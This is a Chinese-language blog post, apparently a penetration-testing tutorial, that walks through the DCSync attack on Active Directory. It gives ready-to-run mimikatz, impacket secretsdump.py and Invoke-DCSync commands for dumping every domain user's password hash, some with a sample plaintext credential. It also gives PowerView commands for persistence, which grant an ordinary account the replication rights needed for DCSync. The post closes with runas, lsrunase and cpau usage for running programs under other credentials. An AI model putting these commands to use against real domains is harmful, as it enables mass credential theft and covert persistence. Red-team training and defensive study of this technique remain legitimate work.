利用DCSync导出域内所有用户的hash
DCSync是mimikatz在2015年添加的一个模块,用来导出所有用户的hash。
利用条件:
- administrators组内的用户
- domain admin组内的用户
- enterprise admin组内的用户
- 域控制器的计算机用户
利用原理:利用DRS协议通过IDL_DRSGetNCChanges从域控制器复制用户凭证
通过mimikatz
导出域内指定用户的信息(包括哈希值)
lsadump::dcsync /domain:XXXX.com(域名) /user:administrotor
lsadump::dcsync /domain:XXXX.com(域名) /user:administrotor /csv
导出域内所有用户的信息(包括哈希)
lsadump::dcsync /domain:XXX.com(域名) /all
lsadump::dcsync /domain:XXX.com(域名) /all /csv
通过Secretsdump.py
项目地址:https://github.com/SecureAuthCorp/impacket/tree/impacket_0_9_22
secretsdump.py是impacket框架中的一个脚本,该脚本也可以通过DCSync技术导出哈希,原理是使用提供的用户凭证通过smdexec或者wmiexec远程连接到域控制器并获得最高权限,进而从注册表中导出本地账户的哈希,同时从NTDS.dit文件中导出所有用户的哈希。
python3 secretsdump.py whoamianony/administrator:Whoami2021@192.168.93.30 -dc-ip 192.168.93.30 -just-dc-user administrator
python3 secretsdump.py whoamianony/administrator:Whoami2021@192.168.93.30
抓取所有用户的哈希,包括机器用户的

通过powershell
项目地址:https://gist.github.com/monoxgas/9d238accd969550136db#file-invoke-dcsync-ps1。
可以通过invoke-ReflectivePEinjection调用mimikatz.all中的DCSync功能。
Import-Module .\Invoke-DCSync.ps1
# 导出域内所有用户的哈希值
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
# 导出域内指定用户的哈希值
Invoke-DCSync -DumpForest | ft -wrap -autosize
DCSync权限维持
所需权限:
- domain admin组内用户
- enterprise admins组内用户
dcsync是几个权限的集合体,如果想要普通用户具有dcsync权限,可以给用户添加下面三条ACE:
DS-Replication-Get-Changes,对应GUID为:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
DS-Replication-Get-Changes-All,对应GUID为:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
DS-Replication-Get-Changes-In-Filtered-Set,对应GUID为:89e95b76-444d-4c62-991a-0facbeda640c
工具地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270
在域管用户win2012上给域成员添加这三条ACE
#添加ACE
powershell -exec bypass
import-module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity “DC=test,DC=lab” -PrincipalIdentity yuwin7(域成员) -Rights DCSync -Verbose
#使用完后可以删除ACE
Remove-DomainObjectAcl -TargetIdentity “DC=test,DC=lab” -PrincipalIdentity yuwin7 -Rights DCSync -Verbose

未添加ACE前,是导不出所有哈希的,添加后即可导出。

PS:只能用于导出哈希,不能进行其他操作。
小知识
runas的使用
runas是用来指定用户进行指定操作的。
RUNAS [ [/noprofile | /profile] [/env] [/savecred | /netonly] ] /user:<UserName> program
● /noprofile: 运行时不加载用户的配置文件,不应用用户的环境设置。
● /profile:默认选项,加载用户环境配置。
● /env:运行程序时,使用当前的用户的环境变量。也就是保持当前环境设置不变。
● savecred:保存凭证。
● /netonly:指定提供的凭证用于网络访问。
● /user:<username>:指定用户。
● program:指定运行的程序或命令的路径。
示例:runas /noprofile /user:test\user1 cmd

password打开指定用户的cmd
第一种
创建凭证对象
$cred = Get_Credential

输入指定的用户和密码。
启动程序:Start-Process powershell.exe -Credential$cred

第二种
在powershell中依次输入
$uname="test\test1" #这是定义用户
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force #定义密码
$cred=New-Object #创建凭证对象 System.Management.Automation.PSCredential($uname,$pwd) Start-Process -FilePath "cmd.exe" -Credential $cred #启动指定程序以指定用户

同类工具还有lsrunase、cpau
lseunase
这是第三方程序,需要下载。自带 LSencrypt 用来生成加密的字串。
用法:lsrunase.exe /user:administrator /password:ABCDqfmI /domain: /command:"cmd.exe" /runpath:"C:\Windows\System32"
所有的参数必须齐全,其中:
user 为运行的账号
password 为密码加密后的字串
domain 为机器名或域名,也可留空代表本机
command 为要运行的程序名,如果携带参数需要在命令的首尾加引号
runpath 为程序启动的路径
特点:可以较完美的替代 runas,并避免直接将密码明文保存在脚本中。
cpau
cpau 也是一个替代 runas 的程序,并且功能强大,可以使用加密的密码。
用法:cpau -u administrator -p password -ex cmd.exe -file start_cmd.txt -enc
cpau -file start_cmd.txt -dec
-u administrator:指定用户名(administrator)。-p password:指定用户密码(password)。请注意:在实际使用中,密码不应该明文显示。-ex cmd.exe:指定要执行的程序,这里是cmd。-file start_cmd.txt:指定保存加密命令的文件。-enc:表示加密文件。-dec:表示解密文件。
以上命令可以先将要执行的指令加密保存为一个文件,执行时载入此文件。
特点:可以保护执行的脚本及命令不被他人查看,但在使用网络路径时存在一些问题。
世界是假的,但爱是真的。
——幻兽迷城

Comments | NOTHING